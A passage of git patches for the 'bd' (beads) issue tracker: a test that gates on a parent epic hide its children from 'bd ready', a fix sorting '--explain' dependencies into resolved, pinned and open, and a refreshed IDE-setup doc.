is a substring of every child row. wantReady now takes the created issue and requires its ID as a whole whitespace-separated token of the output. The test keeps reading the pretty route (GetReadyWork) it was written against; --json would read through GetReadyWorkWithCountsAndTotal instead. Evidence: `BEADS_TEST_EMBEDDED_DOLT=1 go test -tags gms_pure_go ./cmd/bd/ -run '^TestEmbeddedGateInheritsDownParentChain$'` in git-archive copies, with BD_*/BEADS_*/GC_* unset so the bd binary is built from the copy. - Unmutated: PASS. - Mutant A, "epic" added to sqlbuild.ReadyWorkExcludeTypes. Ready printed "○ gi-83o.1 P2 Inherit child one ← Inherit epic" and no gi-83o row. The title check PASSED, the epic.ID substring check PASSED, and the ID-token check FAILED at the before-gate and after-resolve epic lines. - Mutant B, the issues parent-child leg of shouldBeBlockedIDsUnionScopedSQL disabled, so a gated parent no longer hides its children. The ID-token check fails at exactly the three child lines. The title check also failed the epic's "hidden" check, although the epic row was absent, because the children's annotation carried its title. Unchanged: the gate ID is still taken from the first "gi-" token of `bd gate create`. renderGateCreated documents its first line, "Created gate ", as parsed by downstream scripts. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + cmd/bd/BUILD.bazel | 1 + cmd/bd/gate_inherit_embedded_test.go | 99 ++++++++++++++++++++ 3 files changed, 101 insertions(+) create mode 100644 cmd/bd/gate_inherit_embedded_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index c3bfa552f..535bf8d06 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -290,6 +290,7 @@ 50 15 TestEmbeddedVersionConcurrent 50 16 TestEmbeddedBlockedLabelFilters +50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady 50 16 TestEmbeddedOpen_EmptyDatabaseRejected diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 10f006ac9..4305927a5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -770,6 +770,7 @@ go_test( "gate_discover_test.go", "gate_embedded_test.go", "gate_frontdoor_parity_integration_test.go", + "gate_inherit_embedded_test.go", "gate_lifecycle_proxied_integration_test.go", "gate_routing_test.go", "gate_test.go", diff --git a/cmd/bd/gate_inherit_embedded_test.go b/cmd/bd/gate_inherit_embedded_test.go new file mode 100644 index 000000000..b3f18d8b0 --- /dev/null +++ b/cmd/bd/gate_inherit_embedded_test.go @@ -0,0 +1,99 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedGateInheritsDownParentChain pins the property that a gate on a +// parent hides the parent AND every child from `bd ready` — children that +// existed when the gate was created and children created afterwards alike — +// and that resolving the gate frees all of them. The wyvern rig's operator +// tooling relies on this (its own gate labels are a snapshot; the bd ready +// fence is not), so a regression here would silently put shelved work back +// on agent fronts. Mechanism under test: a gate is a blocks-dependency onto +// the gate issue, and the parent-child leg of the blocked-consistency +// recompute cascades a parent's blockedness to its children. +func TestEmbeddedGateInheritsDownParentChain(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gi") + store := openStore(t, beadsDir, "gi") + if err := store.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig types.custom: %v", err) + } + store.Close() + + ready := func() string { + t.Helper() + cmd := exec.Command(bd, "ready", "--limit", "0") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + return stdout.String() + } + // An issue counts as listed only when its ID is a whole token of the + // output. Neither its title nor a substring of its ID will do: every + // ready child of an epic carries a "← " annotation, and a + // child's hierarchical ID (.N) contains the epic's ID, so either + // looser match would let a child row stand in for the epic. + wantReady := func(out string, issue *types.Issue, want bool, when string) { + t.Helper() + if got := slices.Contains(strings.Fields(out), issue.ID); got != want { + t.Errorf("%s: %s (%q) in ready = %v, want %v\n%s", when, issue.ID, issue.Title, got, want, out) + } + } + + epic := bdCreate(t, bd, dir, "Inherit epic", "--type", "epic") + one := bdCreate(t, bd, dir, "Inherit child one", "--type", "task", "--parent", epic.ID) + two := bdCreate(t, bd, dir, "Inherit child two", "--type", "task", "--parent", epic.ID) + + out := ready() + wantReady(out, epic, true, "before gate") + wantReady(out, one, true, "before gate") + wantReady(out, two, true, "before gate") + + gateOut := bdGate(t, bd, dir, "create", "--blocks", epic.ID, "--reason", "hold the whole tree") + var gateID string + for _, word := range strings.Fields(gateOut) { + if strings.HasPrefix(word, "gi-") { + gateID = word + break + } + } + if gateID == "" { + t.Fatalf("could not extract gate ID from output: %s", gateOut) + } + + out = ready() + wantReady(out, epic, false, "gate open, existing children") + wantReady(out, one, false, "gate open, existing children") + wantReady(out, two, false, "gate open, existing children") + + // A child filed AFTER the gate must be born hidden too: the fence is a + // property of the tree at read time, not a snapshot at gate time. + late := bdCreate(t, bd, dir, "Inherit child late", "--type", "task", "--parent", epic.ID) + out = ready() + wantReady(out, late, false, "gate open, later-born child") + + bdGate(t, bd, dir, "resolve", gateID, "--reason", "released") + out = ready() + wantReady(out, epic, true, "after resolve") + wantReady(out, one, true, "after resolve") + wantReady(out, two, true, "after resolve") + wantReady(out, late, true, "after resolve") +} From 2e7637757faecaf81f198301122bd50afea681bc Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:46:47 +0000 Subject: [PATCH 125/325] fix(ready): --explain sorts a ready issue's blocking edges by status instead of calling a pinned dependency resolved (#7124) * fix(ready): --explain sorts a ready issue's blocking edges by status instead of calling a pinned dependency resolved (wy-0h6t03) The ready query skips a pinned target exactly as it skips a closed one, so a blocks edge onto a pinned bead never fences its dependent. The explanation never read the target's status: every blocking edge of a ready issue was appended to ResolvedBlockers, so a bead wired behind a long-lived pinned bring-up reported "1 blocker(s) resolved" while its precondition was unmet. Two trials sat on a takeable front for days that way. BuildReadyExplanation now sorts each blocks / conditional-blocks / waits-for edge by the target's status in blockerMap: closed stays under ResolvedBlockers, pinned goes to PinnedDependencies (never block), any other status to OpenDependencies (not blocking; the #6066 shape, now visible). A target without a status in the map keeps the old treatment. Reason keeps its "N blocker(s) resolved" lead and appends the other two counts as clauses. Both explain routes previously fetched only the blockers of blocked issues, so no ready target ever had a status; explainBlockerIDs now adds the ready issues' blocking-dependency targets to that one batch fetch, once each, and printReadyItemDependencies prints the three lines for both routes. Pinned-never-blocks itself is unchanged. Co-Authored-By: Claude Fable 5.1 * build(bazel): list ready_explain_ids_test.go in the cmd/bd go_test srcs (wy-0h6t03) The equivalence gate named TestExplainBlockerIDs and TestExplainBlockerIDs_Empty as tests go test runs that Bazel did not: the new test file was never added to BUILD.bazel. Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 --- CHANGELOG.md | 16 +++++ cmd/bd/BUILD.bazel | 1 + cmd/bd/ready.go | 65 ++++++++++++++----- cmd/bd/ready_explain_ids_test.go | 50 +++++++++++++++ cmd/bd/ready_proxied_server.go | 15 +---- internal/types/explain_test.go | 103 +++++++++++++++++++++++++++++++ internal/types/types.go | 84 +++++++++++++++++++------ 7 files changed, 289 insertions(+), 45 deletions(-) create mode 100644 cmd/bd/ready_explain_ids_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f9d51dab..66ce69feb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -144,6 +144,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 is still ridden out within one command. A backend that drops a connection after the greeting, a dial timeout, and every refusal from a managed (local sidecar) backend keep the full transient retry. +- **`bd ready --explain` no longer reports a pinned dependency as a resolved + blocker.** The ready query skips a pinned target exactly as it skips a closed + one, so a `blocks` edge onto a pinned bead never fences its dependent — but + the explanation listed every blocking edge of a ready issue under + `Resolved blockers`, status unread, and a bead wired behind a long-lived + pinned bring-up reported itself satisfied while its precondition was unmet. + Each blocking edge is now sorted by the target's status: closed under + `Resolved blockers` (and `resolved_blockers`), pinned under + `Pinned dependencies (never block)` (`pinned_dependencies`), and any other + status under `Open dependencies (not blocking)` (`open_dependencies`) — the + shape #6066 reports for a foreign-prefix blocker, now visible instead of + passing as resolved. `Reason` keeps its `N blocker(s) resolved` lead and + appends the pinned and open counts as clauses. Both routes fetch the ready + issues' dependency targets alongside the blockers they already fetched. + Pinned-never-blocks itself is unchanged. + - **`bd list` no longer silently drops all but the last repeated filter flag.** `--status`, `--state`, and `--id` were plain string flags, so `bd list --status open --status closed --status pinned` kept only `pinned` — diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 4305927a5..765e55702 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1026,6 +1026,7 @@ go_test( "readonly_policy_test.go", "readonly_test.go", "ready_embedded_test.go", + "ready_explain_ids_test.go", "ready_input_test.go", "ready_max_rows_proxied_test.go", "ready_max_rows_test.go", diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 71b1e8f22..babcefa35 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -554,17 +554,11 @@ func runReadyExplain(_ *cobra.Command) error { debug.Logf("warning: failed to detect cycles: %v", err) } - // Collect all blocker IDs to batch-fetch blocker details - allBlockerIDs := make(map[string]bool) - for _, bi := range blockedIssues { - for _, blockerID := range bi.BlockedBy { - allBlockerIDs[blockerID] = true - } - } - blockerIDList := make([]string, 0, len(allBlockerIDs)) - for id := range allBlockerIDs { - blockerIDList = append(blockerIDList, id) - } + // Collect all blocker IDs to batch-fetch blocker details: the blockers + // of blocked issues, plus the blocking-dependency targets of the ready + // issues, whose status decides whether --explain reports each as + // resolved, pinned or open. + blockerIDList := explainBlockerIDs(blockedIssues, readyIssues, allDeps) // Build ready items with explanations // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and @@ -596,9 +590,7 @@ func runReadyExplain(_ *cobra.Command) error { ui.RenderPriority(item.Priority), item.Title) fmt.Printf(" Reason: %s\n", item.Reason) - if len(item.ResolvedBlockers) > 0 { - fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) - } + printReadyItemDependencies(item) if item.DependentCount > 0 { fmt.Printf(" Unblocks: %d issue(s)\n", item.DependentCount) } @@ -808,3 +800,48 @@ func init() { blockedCmd.Flags().StringSlice("exclude-label", []string{}, "Exclude issues that have ANY of these labels") rootCmd.AddCommand(blockedCmd) } + +// explainBlockerIDs collects, once each, the ids whose status --explain +// needs: every blocker of a blocked issue, and the target of every blocking +// dependency (blocks, conditional-blocks, waits-for) of a ready issue. The +// ready targets matter because the ready query admits an issue whose blocking +// targets are closed OR pinned, and only the target's status tells the +// explanation which of the two it saw. +func explainBlockerIDs(blockedIssues []*types.BlockedIssue, readyIssues []*types.Issue, allDeps map[string][]*types.Dependency) []string { + seen := make(map[string]bool) + var ids []string + add := func(id string) { + if id == "" || seen[id] { + return + } + seen[id] = true + ids = append(ids, id) + } + for _, bi := range blockedIssues { + for _, blockerID := range bi.BlockedBy { + add(blockerID) + } + } + for _, issue := range readyIssues { + for _, dep := range allDeps[issue.ID] { + if dep.Type == types.DepBlocks || dep.Type == types.DepConditionalBlocks || dep.Type == types.DepWaitsFor { + add(dep.DependsOnID) + } + } + } + return ids +} + +// printReadyItemDependencies prints the three dependency lines of a ready +// item in --explain's text form, each only when non-empty. +func printReadyItemDependencies(item types.ReadyItem) { + if len(item.ResolvedBlockers) > 0 { + fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) + } + if len(item.PinnedDependencies) > 0 { + fmt.Printf(" Pinned dependencies (never block): %s\n", strings.Join(item.PinnedDependencies, ", ")) + } + if len(item.OpenDependencies) > 0 { + fmt.Printf(" Open dependencies (not blocking): %s\n", strings.Join(item.OpenDependencies, ", ")) + } +} diff --git a/cmd/bd/ready_explain_ids_test.go b/cmd/bd/ready_explain_ids_test.go new file mode 100644 index 000000000..fddac35a8 --- /dev/null +++ b/cmd/bd/ready_explain_ids_test.go @@ -0,0 +1,50 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// explainBlockerIDs must hand the explanation every id whose status it +// reads: the blockers of blocked issues AND the blocking-dependency targets of +// ready issues (the ones whose closed-or-pinned status the ready query +// collapsed), once each, and no parent-child or related target. +func TestExplainBlockerIDs(t *testing.T) { + blocked := []*types.BlockedIssue{ + {Issue: types.Issue{ID: "bd-b1"}, BlockedBy: []string{"bd-x", "bd-y"}}, + {Issue: types.Issue{ID: "bd-b2"}, BlockedBy: []string{"bd-y", ""}}, + } + ready := []*types.Issue{{ID: "bd-r1"}, {ID: "bd-r2"}} + allDeps := map[string][]*types.Dependency{ + "bd-r1": { + {IssueID: "bd-r1", DependsOnID: "bd-pinned", Type: types.DepBlocks}, + {IssueID: "bd-r1", DependsOnID: "bd-x", Type: types.DepConditionalBlocks}, + {IssueID: "bd-r1", DependsOnID: "bd-epic", Type: types.DepParentChild}, + }, + "bd-r2": { + {IssueID: "bd-r2", DependsOnID: "bd-spawner", Type: types.DepWaitsFor}, + {IssueID: "bd-r2", DependsOnID: "bd-rel", Type: types.DepRelated}, + }, + "bd-not-ready": { + {IssueID: "bd-not-ready", DependsOnID: "bd-elsewhere", Type: types.DepBlocks}, + }, + } + + got := explainBlockerIDs(blocked, ready, allDeps) + want := []string{"bd-x", "bd-y", "bd-pinned", "bd-spawner"} + if len(got) != len(want) { + t.Fatalf("explainBlockerIDs = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("explainBlockerIDs = %v, want %v", got, want) + } + } +} + +func TestExplainBlockerIDs_Empty(t *testing.T) { + if got := explainBlockerIDs(nil, nil, nil); len(got) != 0 { + t.Fatalf("expected no ids, got %v", got) + } +} diff --git a/cmd/bd/ready_proxied_server.go b/cmd/bd/ready_proxied_server.go index 97180dee8..30a815f32 100644 --- a/cmd/bd/ready_proxied_server.go +++ b/cmd/bd/ready_proxied_server.go @@ -320,16 +320,7 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput debug.Logf("warning: failed to detect cycles: %v", err) } - allBlockerIDs := make(map[string]bool) - for _, bi := range blockedIssues { - for _, blockerID := range bi.BlockedBy { - allBlockerIDs[blockerID] = true - } - } - blockerIDList := make([]string, 0, len(allBlockerIDs)) - for id := range allBlockerIDs { - blockerIDList = append(blockerIDList, id) - } + blockerIDList := explainBlockerIDs(blockedIssues, readyIssues, allDeps) // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and // the importIssueLookup TODO in import_shared.go for why this is not yet // routed through GetMany. @@ -365,9 +356,7 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput ui.RenderPriority(item.Priority), item.Title) fmt.Printf(" Reason: %s\n", item.Reason) - if len(item.ResolvedBlockers) > 0 { - fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) - } + printReadyItemDependencies(item) if item.DependentCount > 0 { fmt.Printf(" Unblocks: %d issue(s)\n", item.DependentCount) } diff --git a/internal/types/explain_test.go b/internal/types/explain_test.go index bd8c2b0ee..bf1500bc0 100644 --- a/internal/types/explain_test.go +++ b/internal/types/explain_test.go @@ -62,6 +62,9 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { }, } + // A nil blockerMap supplies no statuses: the ready set's verdict is the + // only word, so every blocking edge counts as resolved (the pre-#6066 + // shape, kept for callers that fetch nothing). result := BuildReadyExplanation(issues, nil, depCounts, allDeps, nil, nil) if len(result.Ready) != 1 { @@ -75,6 +78,9 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { if len(item.ResolvedBlockers) != 2 { t.Errorf("expected 2 resolved blockers, got %d", len(item.ResolvedBlockers)) } + if len(item.PinnedDependencies) != 0 || len(item.OpenDependencies) != 0 { + t.Errorf("expected no pinned/open dependencies without statuses, got %v / %v", item.PinnedDependencies, item.OpenDependencies) + } if item.DependencyCount != 2 { t.Errorf("expected DependencyCount=2, got %d", item.DependencyCount) } @@ -83,6 +89,103 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { } } +// A ready issue's blocking edges are sorted by the target's status: closed is +// a resolved blocker, pinned never blocked (the ready query skips pinned +// targets as it skips closed ones), anything else is an open dependency the +// ready set admitted anyway. Before this every edge printed as "resolved", +// so a dependency wired onto a pinned bead reported itself satisfied. +func TestBuildReadyExplanation_ReadyDependencyStatuses(t *testing.T) { + issues := []*Issue{ + {ID: "bd-1", Title: "Ready", Priority: 1, Status: StatusOpen}, + } + allDeps := map[string][]*Dependency{ + "bd-1": { + {IssueID: "bd-1", DependsOnID: "bd-closed", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-pinned", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-open", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-spawner", Type: DepWaitsFor}, + {IssueID: "bd-1", DependsOnID: "bd-unknown", Type: DepConditionalBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-epic", Type: DepParentChild}, + {IssueID: "bd-1", DependsOnID: "bd-related", Type: DepRelated}, + }, + } + blockerMap := map[string]*Issue{ + "bd-closed": {ID: "bd-closed", Status: StatusClosed}, + "bd-pinned": {ID: "bd-pinned", Status: StatusPinned}, + "bd-open": {ID: "bd-open", Status: StatusOpen}, + "bd-spawner": {ID: "bd-spawner", Status: StatusInProgress}, + "bd-epic": {ID: "bd-epic", Status: StatusOpen}, + } + + result := BuildReadyExplanation(issues, nil, nil, allDeps, blockerMap, nil) + if len(result.Ready) != 1 { + t.Fatalf("expected 1 ready item, got %d", len(result.Ready)) + } + item := result.Ready[0] + + // bd-unknown has no status in the map and so joins the resolved set. + assertIDs(t, "ResolvedBlockers", item.ResolvedBlockers, "bd-closed", "bd-unknown") + assertIDs(t, "PinnedDependencies", item.PinnedDependencies, "bd-pinned") + assertIDs(t, "OpenDependencies", item.OpenDependencies, "bd-open", "bd-spawner") + want := "2 blocker(s) resolved; 1 pinned dependency(ies), never blocking; 2 open dependency(ies), not blocking" + if item.Reason != want { + t.Errorf("reason:\n got %q\nwant %q", item.Reason, want) + } + if item.Parent == nil || *item.Parent != "bd-epic" { + t.Errorf("expected Parent=bd-epic, got %v", item.Parent) + } +} + +// Only pinned edges: the reason must not claim anything was resolved. +func TestBuildReadyExplanation_ReadyWithOnlyPinnedDependency(t *testing.T) { + issues := []*Issue{{ID: "bd-1", Title: "Ready", Priority: 1, Status: StatusOpen}} + allDeps := map[string][]*Dependency{ + "bd-1": {{IssueID: "bd-1", DependsOnID: "bd-pinned", Type: DepBlocks}}, + } + blockerMap := map[string]*Issue{"bd-pinned": {ID: "bd-pinned", Status: StatusPinned}} + + item := BuildReadyExplanation(issues, nil, nil, allDeps, blockerMap, nil).Ready[0] + if item.Reason != "1 pinned dependency(ies), never blocking" { + t.Errorf("unexpected reason %q", item.Reason) + } + if len(item.ResolvedBlockers) != 0 { + t.Errorf("expected no resolved blockers, got %v", item.ResolvedBlockers) + } + assertIDs(t, "PinnedDependencies", item.PinnedDependencies, "bd-pinned") +} + +func TestReadyReason(t *testing.T) { + cases := []struct { + resolved, pinned, open int + want string + }{ + {0, 0, 0, "no blocking dependencies"}, + {2, 0, 0, "2 blocker(s) resolved"}, + {0, 1, 0, "1 pinned dependency(ies), never blocking"}, + {0, 0, 3, "3 open dependency(ies), not blocking"}, + {1, 1, 1, "1 blocker(s) resolved; 1 pinned dependency(ies), never blocking; 1 open dependency(ies), not blocking"}, + } + for _, c := range cases { + if got := readyReason(c.resolved, c.pinned, c.open); got != c.want { + t.Errorf("readyReason(%d,%d,%d) = %q, want %q", c.resolved, c.pinned, c.open, got, c.want) + } + } +} + +func assertIDs(t *testing.T, field string, got []string, want ...string) { + t.Helper() + if len(got) != len(want) { + t.Errorf("%s = %v, want %v", field, got, want) + return + } + for i := range want { + if got[i] != want[i] { + t.Errorf("%s = %v, want %v", field, got, want) + return + } + } +} + func TestBuildReadyExplanation_ReadyWithParent(t *testing.T) { issues := []*Issue{ {ID: "bd-child", Title: "Child task", Priority: 2, Status: StatusOpen}, diff --git a/internal/types/types.go b/internal/types/types.go index d92838761..88a276cb2 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1869,13 +1869,26 @@ type ReadyExplanation struct { } // ReadyItem explains why a specific issue is ready for work. +// +// The issue's blocking dependencies (blocks, conditional-blocks, waits-for) +// are sorted by the target's status as the caller supplied it in blockerMap: +// ResolvedBlockers holds closed targets, PinnedDependencies holds pinned ones +// (a pinned bead never blocks, so a dependency on one never fenced this +// issue — it is reported as what it is, not as a blocker that was resolved), +// and OpenDependencies holds targets in any other status — a blocks edge +// here means the ready set and the edge disagree (foreign-prefix ids, #6066); +// a waits-for edge here is the ordinary spawner-still-open case. A target the +// caller did not supply a status for is counted under ResolvedBlockers, the +// ready set's own verdict being the only word available. type ReadyItem struct { *Issue - Reason string `json:"reason"` - ResolvedBlockers []string `json:"resolved_blockers"` - DependencyCount int `json:"dependency_count"` - DependentCount int `json:"dependent_count"` - Parent *string `json:"parent,omitempty"` + Reason string `json:"reason"` + ResolvedBlockers []string `json:"resolved_blockers"` + PinnedDependencies []string `json:"pinned_dependencies,omitempty"` + OpenDependencies []string `json:"open_dependencies,omitempty"` + DependencyCount int `json:"dependency_count"` + DependentCount int `json:"dependent_count"` + Parent *string `json:"parent,omitempty"` } // BlockedItem explains why a specific issue is blocked. @@ -1918,18 +1931,29 @@ func BuildReadyExplanation( counts = &DependencyCounts{} } - // Find resolved blockers (closed issues that this depended on) - var resolvedBlockers []string - reason := "no blocking dependencies" + // Sort the blocking dependencies by the target's status. Before this + // every blocking edge of a ready issue was printed as a resolved + // blocker, which is wrong for a pinned target: the ready query skips + // pinned targets exactly as it skips closed ones, so a dependency on + // a pinned bead never blocked anything and nothing about it was + // resolved. --explain is the one place a reader can see that. + var resolvedBlockers, pinnedDeps, openDeps []string deps := allDeps[issue.ID] for _, dep := range deps { - if dep.Type == DepBlocks || dep.Type == DepConditionalBlocks || dep.Type == DepWaitsFor { + if dep.Type != DepBlocks && dep.Type != DepConditionalBlocks && dep.Type != DepWaitsFor { + continue + } + target, known := blockerMap[dep.DependsOnID] + switch { + case !known || target == nil || target.Status == StatusClosed: resolvedBlockers = append(resolvedBlockers, dep.DependsOnID) + case target.Status == StatusPinned: + pinnedDeps = append(pinnedDeps, dep.DependsOnID) + default: + openDeps = append(openDeps, dep.DependsOnID) } } - if len(resolvedBlockers) > 0 { - reason = fmt.Sprintf("%d blocker(s) resolved", len(resolvedBlockers)) - } + reason := readyReason(len(resolvedBlockers), len(pinnedDeps), len(openDeps)) // Compute parent var parent *string @@ -1941,12 +1965,14 @@ func BuildReadyExplanation( } readyItems = append(readyItems, ReadyItem{ - Issue: issue, - Reason: reason, - ResolvedBlockers: resolvedBlockers, - DependencyCount: counts.DependencyCount, - DependentCount: counts.DependentCount, - Parent: parent, + Issue: issue, + Reason: reason, + ResolvedBlockers: resolvedBlockers, + PinnedDependencies: pinnedDeps, + OpenDependencies: openDeps, + DependencyCount: counts.DependencyCount, + DependentCount: counts.DependentCount, + Parent: parent, }) } @@ -1992,6 +2018,28 @@ func BuildReadyExplanation( } } +// readyReason words a ReadyItem's Reason from the three dependency counts. +// "no blocking dependencies" is kept verbatim for the no-edge case; a resolved +// count keeps the historical "N blocker(s) resolved" lead so scripts that +// match on it still do; pinned and open counts are appended as clauses rather +// than folded into the resolved count. +func readyReason(resolved, pinned, open int) string { + var parts []string + if resolved > 0 { + parts = append(parts, fmt.Sprintf("%d blocker(s) resolved", resolved)) + } + if pinned > 0 { + parts = append(parts, fmt.Sprintf("%d pinned dependency(ies), never blocking", pinned)) + } + if open > 0 { + parts = append(parts, fmt.Sprintf("%d open dependency(ies), not blocking", open)) + } + if len(parts) == 0 { + return "no blocking dependencies" + } + return strings.Join(parts, "; ") +} + // TreeNode represents a node in a dependency tree type TreeNode struct { Issue From 8ae1a2beb35bafa99a20fb400b158107b3fbd7b7 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:03:01 +0000 Subject: [PATCH 126/325] docs(ide-setup): re-review against cmd/bd/setup and refresh its marker (#7268) The Last reviewed marker (2026-07-10) passes the 90-day limit in scripts/check-doc-freshness.sh at 2026-10-09 00:00 UTC, when the required "Check doc flags freshness" job would fail on every PR and merge-group run, as it did for ERROR_HANDLING.md (#7266). Re-reviewed against cmd/bd/setup.go, cmd/bd/setup/ and internal/recipes/ at e72cd8b31 and corrected what had drifted: - bd setup cursor installs the agent skill and .cursor/hooks.json (sessionStart, preCompact, postToolUse) besides the rules file, and takes --global (hooks and skill only). - bd setup claude writes its managed section to AGENTS.md when CLAUDE.md is an @AGENTS.md import stub. - bd setup codex takes --global. - bd init runs the Claude Code, Codex and Cursor project setup, not Codex alone. The marker is 2026-10-05, not the UTC date, because the script rejects a future date and a Pacific shell still reads 10-05. Co-authored-by: Claude Fable 5.1 --- docs/getting-started/ide-setup.md | 34 +++++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/docs/getting-started/ide-setup.md b/docs/getting-started/ide-setup.md index 47a4537da..4eea8a09e 100644 --- a/docs/getting-started/ide-setup.md +++ b/docs/getting-started/ide-setup.md @@ -5,7 +5,7 @@ description: Configure bd setup recipes, hooks, and instruction files for Claude Configure your IDE or coding agent for optimal beads integration. -Last reviewed: 2026-07-10 +Last reviewed: 2026-10-05 Freshness source: `cmd/bd/setup*.go` and `internal/recipes/`. @@ -23,10 +23,10 @@ bd setup claude --remove # Uninstall | Recipe | Files written | Details | |--------|---------------|---------| | `claude` | `.claude/settings.json` (or `~/.claude/settings.json` with `--global`) + `CLAUDE.md` section | [Claude Code](/integrations/claude-code) | -| `cursor` | `.cursor/rules/beads.mdc` | [Cursor](/integrations/cursor) | +| `cursor` | `.cursor/rules/beads.mdc` + `.agents/skills/beads/` + `.cursor/hooks.json` (with `--global`: `~/.cursor/hooks.json` + `~/.agents/skills/beads/`, no rules file) | [Cursor](/integrations/cursor) | | `gemini` | `~/.gemini/settings.json` (or `.gemini/settings.json` with `--project`) + `GEMINI.md` section | [Gemini CLI](/integrations/gemini) | | `copilot` | `.copilot-plugin/plugin.json` + `.github/copilot-instructions.md` | [Copilot CLI](/integrations/copilot-cli) | -| `codex` | `.agents/skills/beads/` + `AGENTS.md` section + `.codex/` hooks | [Codex](/integrations/codex) | +| `codex` | `.agents/skills/beads/` + `AGENTS.md` section + `.codex/` hooks (with `--global`: `~/.agents/skills/beads/` + `$CODEX_HOME` or `~/.codex`) | [Codex](/integrations/codex) | | `factory` | `AGENTS.md` section | [Factory.ai Droid](/integrations/factory) | | `mux` | `AGENTS.md` section (+ `.mux/` layers with `--project`/`--global`) | [Mux](/integrations/mux) | | `opencode` | `AGENTS.md` section | [OpenCode](/integrations/opencode) | @@ -95,7 +95,7 @@ bd setup claude --global # Global install: ~/.claude/settings.json This installs: - **SessionStart hook** - Runs `bd prime --hook-json`, which wraps the workflow context in the JSON envelope Claude Code expects. SessionStart fires when a session starts, resumes, or clears, and again after context compaction — no separate compaction hook is needed. -- **Minimal beads section in `CLAUDE.md`** - A pointer to `bd prime`, managed with hash/version markers for safe updates and `--check` freshness detection. +- **Minimal beads section in `CLAUDE.md`** - A pointer to `bd prime`, managed with hash/version markers for safe updates and `--check` freshness detection. If `CLAUDE.md` is a thin stub that imports `AGENTS.md` (an `@AGENTS.md` line of its own), the section is written to `AGENTS.md` instead, and a stale beads block left in the stub by an older bd is removed. If the [beads Claude Code plugin](/integrations/claude-code-plugin) is installed, hooks are plugin-managed and `bd setup claude` skips writing them, so `bd prime` doesn't fire twice per session. @@ -143,11 +143,26 @@ If you prefer manual configuration, add the hook to your Claude Code settings: ## Cursor IDE ```bash -bd setup cursor # Always-applied rules file +bd setup cursor # Project install: rules file + agent skill + hooks +bd setup cursor --global # Global install: hooks + agent skill (no rules file) ``` -This creates `.cursor/rules/beads.mdc` with beads-aware rules that Cursor -re-includes every turn. +A project install writes three things: + +- **`.cursor/rules/beads.mdc`** - an always-applied rules file that Cursor + re-includes every turn. +- **`.agents/skills/beads/`** - the beads agent skill, the same one + `bd setup codex` installs. `--remove` keeps it while the Codex integration + still uses it. +- **`.cursor/hooks.json`** - `sessionStart`, `preCompact`, and `postToolUse` + hooks that run `bd cursor-hook `, so `bd` must be on `PATH` for + Cursor. Your own entries in `hooks.json` are left alone. + +`--global` writes the hooks to `~/.cursor/hooks.json` and the skill to +`~/.agents/skills/beads/`. Cursor has no file-based global rules location, so +add global rules in Cursor Settings or run `bd setup cursor` per project. + +Restart Cursor (or start a new `cursor-agent` session) after installing. **Verify:** ```bash @@ -201,9 +216,10 @@ bd setup factory # Factory.ai Droid — AGENTS.md section bd setup mux # Mux — AGENTS.md section (+ --project/--global layers) bd setup opencode # OpenCode — AGENTS.md section bd setup codex # Codex — beads skill + AGENTS.md guidance + native hooks +bd setup codex --global # Same, under ~/.agents/skills/beads and 